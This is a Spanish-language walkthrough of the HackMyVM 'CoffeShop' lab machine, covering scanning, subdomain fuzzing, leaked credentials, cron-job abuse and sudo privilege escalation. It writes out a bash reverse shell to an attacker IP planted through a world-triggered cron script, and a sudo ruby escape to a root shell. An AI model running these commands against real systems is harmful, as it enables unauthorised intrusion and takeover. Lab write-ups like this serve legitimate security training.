HackMyVM - CoffeShop

logo

  • Subdomain Enumeration - (WFUZZ)
  • Cron Jobs - (User Pivoting)
  • Abuse Ruby Binary - (Privesc)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.14

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64

Escaneo de servicios

❯ nmap -sVC -p 22,80 -v 192.168.1.14

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 81:a4:52:2b:14:3f:13:68:2b:e2:5b:c4:7b:d7:1a:a5 (ECDSA)
|_  256 25:19:09:29:2f:b8:ea:b4:29:1f:6d:e7:13:d6:be:7e (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Under Construction - Midnight Coffee
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

Visualizando el servicio HTTP veo el dominio midnight.coffee.

http

Antes de añadir el dominio a mi archivo hosts realizo fuerza bruta de extensiones.

❯ gobuster dir -u 192.168.1.14 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.14
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/server-status        (Status: 403) [Size: 277]
/shop                 (Status: 301) [Size: 311] [--> http://192.168.1.14/shop/]

Me voy al directorio /shop y veo una web de una cafetería.

shop

Hago click en login y me sale una formulario de acceso.

login

Añado el domino midnight.coffee a mi archivo hosts y realizo fuerza bruta de subdominios.

❯ wfuzz -t 200 -c --hl=69 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.midnight.coffee" http://midnight.coffee
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://midnight.coffee/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                     
=====================================================================

000000019:   200        71 L     152 W      1738 Ch     "dev"

Visitando dev.midnight.coffee encuentro las credenciales del usuario developer.

subdomain

Vuelvo al panel del login que encontré anteriormente y al acceder con el usuario developer encuentro las credenciales del usuario tuna.

dashboard

Me conecto al sistema como usuario tuna.

❯ ssh tuna@192.168.1.14
tuna@192.168.1.14's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Feb  6 11:06:38 AM UTC 2024

Last login: Tue Feb  6 11:06:38 2024 from 192.168.1.20
tuna@coffee-shop:~$ id
uid=1002(tuna) gid=1002(tuna) groups=1002(tuna)
tuna@coffee-shop:~$ 

Al enumerar tareas cron veo que el usuario shopadmin lanza el archivo execute.sh.

tuna@coffee-shop:~$ cat /etc/crontab
* * * * * /bin/bash /home/shopadmin/execute.sh

Con nano leo el contenido de execute.sh y básicamente ejecuta todos los archivos con extensión .sh que se encuentren en el directorio /tmp.

tuna@coffee-shop:~$ nano /home/shopadmin/execute.sh
#!/bin/bash

/bin/bash /tmp/*.sh

Con toda esta información creo el archivo userpivoting.sh en el directorio /tmp con el siguiente contenido para que el usuario shopadmin me mande una shell por el puerto 4444 y así realizar el movimiento lateral.

tuna@coffee-shop:/tmp$ cat userpivoting.sh 
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.20/4444 0>&1

Al cabo de un minuto recibo la shell como usuario shopadmin.

❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.20] from (UNKNOWN) [192.168.1.14] 46970
bash: cannot set terminal process group (196385): Inappropriate ioctl for device
bash: no job control in this shell
shopadmin@coffee-shop:~$ id
id
uid=1001(shopadmin) gid=1001(shopadmin) groups=1001(shopadmin)
shopadmin@coffee-shop:~$ 

Enumero permisos de sudo.

shopadmin@coffee-shop:~$ sudo -l

Matching Defaults entries for shopadmin on coffee-shop:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User shopadmin may run the following commands on coffee-shop:
    (root) NOPASSWD: /usr/bin/ruby * /opt/shop.rb

Busco información del binario ruby en gtfobins.

gtfobinscli

Obtengo el root de la siguiente forma.

shopadmin@coffee-shop:~$ sudo -u root ruby -e 'exec "/bin/sh"' /opt/shop.rb
bash -i
bash: cannot set terminal process group (196582): Inappropriate ioctl for device
bash: no job control in this shell
root@coffee-shop:/home/shopadmin# id
id
uid=0(root) gid=0(root) groups=0(root)

Y aquí termina la máquina CoffeeShop.

Saludos!